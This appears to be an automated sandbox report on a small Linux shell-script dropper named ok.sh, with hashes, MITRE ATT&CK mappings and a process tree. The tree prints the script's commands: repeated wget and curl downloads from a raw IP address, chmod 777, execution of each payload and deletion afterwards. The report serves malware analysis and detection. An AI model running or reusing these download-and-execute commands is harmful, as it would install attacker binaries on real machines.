4cc5af32dfe739b1d73d1291dd178e4b8b76cb5b5cb4096b03d060c9236a5896

Analysis

max time kernel
8s
max time network
10s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04/08/2026, 22:10

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General

Target
ok.sh
Size 1KB
Sample260804-13n71ser2y
SHA256 4cc5af32dfe739b1d73d1291dd178e4b8b76cb5b5cb4096b03d060c9236a5896
MD5 fbfc482fd1420ffc9f918f064a20c59c
SHA1 825d925b5e2f90d7d5160c9fb07a465f7f7219d5
SHA512 3b4ce0a766324698d8c1f151e5254e0c12fdd7fad8e99ad45568ac260d416c9dea9d82947ca32f4db3c14813b2ab7209c2d81044db39745b57c5b9a75b10bc45
TLSH
T13F3190FF0316DB128904CA4BB3A1154D5205C2AF2F6BE7F8EF4C2D3A638A5583259B47
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
687	chmod
719	chmod
749	chmod
804	chmod
811	chmod
694	chmod
781	chmod
797	chmod
818	chmod
825	chmod
832	chmod
680	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/0b9a70	681	ok.sh
/tmp/24f787	688	ok.sh
/tmp/5a6354	697	ok.sh
/tmp/fb275c	721	ok.sh
/tmp/6c4fae	752	ok.sh
/tmp/5df8f3	782	ok.sh
/tmp/7791ff	798	ok.sh
/tmp/4efa5f	805	ok.sh
/tmp/550a54	812	ok.sh
/tmp/638fad	819	ok.sh
/tmp/3e6f4b	826	ok.sh
/tmp/e47dad	833	ok.sh

Checks CPU configuration 1 TTPs 12 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 24 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/0b9a70	curl
File opened for modification	/tmp/24f787	curl
File opened for modification	/tmp/5a6354	curl
File opened for modification	/tmp/fb275c	curl
File opened for modification	/tmp/5df8f3	curl
File opened for modification	/tmp/7791ff	curl
File opened for modification	/tmp/4efa5f	curl
File opened for modification	/tmp/550a54	curl
File opened for modification	/tmp/6c4fae	curl
File opened for modification	/tmp/638fad	curl
File opened for modification	/tmp/3e6f4b	curl
File opened for modification	/tmp/e47dad	curl

/tmp/ok.sh
/tmp/ok.sh
1⤵
- Executes dropped EXE
PID:650
- /usr/bin/wget
  wget http://45.135.194.70/0b9a70
  2⤵
  PID:655
- /usr/bin/curl
  curl -O http://45.135.194.70/0b9a70
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:674
- /bin/chmod
  chmod 777 0b9a70
  2⤵
  - File and Directory Permissions Modification
  PID:680
- /tmp/0b9a70
  ./0b9a70 bc
  2⤵
  PID:681
- /bin/rm
  rm -rf 0b9a70
  2⤵
  PID:683
- /bin/rm
  rm -rf 0b9a70.1
  2⤵
  PID:684
- /usr/bin/wget
  wget http://45.135.194.70/24f787
  2⤵
  PID:685
- /usr/bin/curl
  curl -O http://45.135.194.70/24f787
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:686
- /bin/chmod
  chmod 777 24f787
  2⤵
  - File and Directory Permissions Modification
  PID:687
- /tmp/24f787
  ./24f787 bc
  2⤵
  PID:688
- /bin/rm
  rm -rf 24f787
  2⤵
  PID:690
- /bin/rm
  rm -rf 24f787.1
  2⤵
  PID:691
- /usr/bin/wget
  wget http://45.135.194.70/5a6354
  2⤵
  PID:692
- /usr/bin/curl
  curl -O http://45.135.194.70/5a6354
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:693
- /bin/chmod
  chmod 777 5a6354
  2⤵
  - File and Directory Permissions Modification
  PID:694
- /tmp/5a6354
  ./5a6354 bc
  2⤵
  PID:697
- /bin/rm
  rm -rf 5a6354
  2⤵
  PID:699
- /bin/rm
  rm -rf 5a6354.1
  2⤵
  PID:700
- /usr/bin/wget
  wget http://45.135.194.70/fb275c
  2⤵
  PID:702
- /usr/bin/curl
  curl -O http://45.135.194.70/fb275c
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:710
- /bin/chmod
  chmod 777 fb275c
  2⤵
  - File and Directory Permissions Modification
  PID:719
- /tmp/fb275c
  ./fb275c bc
  2⤵
  PID:721
- /bin/rm
  rm -rf fb275c
  2⤵
  PID:724
- /bin/rm
  rm -rf fb275c.1
  2⤵
  PID:725
- /usr/bin/wget
  wget http://45.135.194.70/6c4fae
  2⤵
  PID:727
- /usr/bin/curl
  curl -O http://45.135.194.70/6c4fae
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:735
- /bin/chmod
  chmod 777 6c4fae
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/6c4fae
  ./6c4fae bc
  2⤵
  PID:752
- /bin/rm
  rm -rf 6c4fae
  2⤵
  PID:754
- /bin/rm
  rm -rf 6c4fae.1
  2⤵
  PID:756
- /usr/bin/wget
  wget http://45.135.194.70/5df8f3
  2⤵
  PID:757
- /usr/bin/curl
  curl -O http://45.135.194.70/5df8f3
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /bin/chmod
  chmod 777 5df8f3
  2⤵
  - File and Directory Permissions Modification
  PID:781
- /tmp/5df8f3
  ./5df8f3 bc
  2⤵
  PID:782
- /bin/rm
  rm -rf 5df8f3
  2⤵
  PID:785
- /bin/rm
  rm -rf 5df8f3.1
  2⤵
  PID:786
- /usr/bin/wget
  wget http://45.135.194.70/7791ff
  2⤵
  PID:788
- /usr/bin/curl
  curl -O http://45.135.194.70/7791ff
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:796
- /bin/chmod
  chmod 777 7791ff
  2⤵
  - File and Directory Permissions Modification
  PID:797
- /tmp/7791ff
  ./7791ff bc
  2⤵
  PID:798
- /bin/rm
  rm -rf 7791ff
  2⤵
  PID:800
- /bin/rm
  rm -rf 7791ff.1
  2⤵
  PID:801
- /usr/bin/wget
  wget http://45.135.194.70/4efa5f
  2⤵
  PID:802
- /usr/bin/curl
  curl -O http://45.135.194.70/4efa5f
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:803
- /bin/chmod
  chmod 777 4efa5f
  2⤵
  - File and Directory Permissions Modification
  PID:804
- /tmp/4efa5f
  ./4efa5f bc
  2⤵
  PID:805
- /bin/rm
  rm -rf 4efa5f
  2⤵
  PID:807
- /bin/rm
  rm -rf 4efa5f.1
  2⤵
  PID:808
- /usr/bin/wget
  wget http://45.135.194.70/550a54
  2⤵
  PID:809
- /usr/bin/curl
  curl -O http://45.135.194.70/550a54
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/chmod
  chmod 777 550a54
  2⤵
  - File and Directory Permissions Modification
  PID:811
- /tmp/550a54
  ./550a54 bc
  2⤵
  PID:812
- /bin/rm
  rm -rf 550a54
  2⤵
  PID:814
- /bin/rm
  rm -rf 550a54.1
  2⤵
  PID:815
- /usr/bin/wget
  wget http://45.135.194.70/638fad
  2⤵
  PID:816
- /usr/bin/curl
  curl -O http://45.135.194.70/638fad
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:817
- /bin/chmod
  chmod 777 638fad
  2⤵
  - File and Directory Permissions Modification
  PID:818
- /tmp/638fad
  ./638fad bc
  2⤵
  PID:819
- /bin/rm
  rm -rf 638fad
  2⤵
  PID:821
- /bin/rm
  rm -rf 638fad.1
  2⤵
  PID:822
- /usr/bin/wget
  wget http://45.135.194.70/3e6f4b
  2⤵
  PID:823
- /usr/bin/curl
  curl -O http://45.135.194.70/3e6f4b
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:824
- /bin/chmod
  chmod 777 3e6f4b
  2⤵
  - File and Directory Permissions Modification
  PID:825
- /tmp/3e6f4b
  ./3e6f4b bc
  2⤵
  PID:826
- /bin/rm
  rm -rf 3e6f4b
  2⤵
  PID:828
- /bin/rm
  rm -rf 3e6f4b.1
  2⤵
  PID:829
- /usr/bin/wget
  wget http://45.135.194.70/e47dad
  2⤵
  PID:830
- /usr/bin/curl
  curl -O http://45.135.194.70/e47dad
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:831
- /bin/chmod
  chmod 777 e47dad
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/e47dad
  ./e47dad bc
  2⤵
  PID:833
- /bin/rm
  rm -rf e47dad
  2⤵
  PID:835
- /bin/rm
  rm -rf e47dad.1
  2⤵
  PID:836

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

0b9a70

Path /tmp/0b9a70
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

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Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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Downloads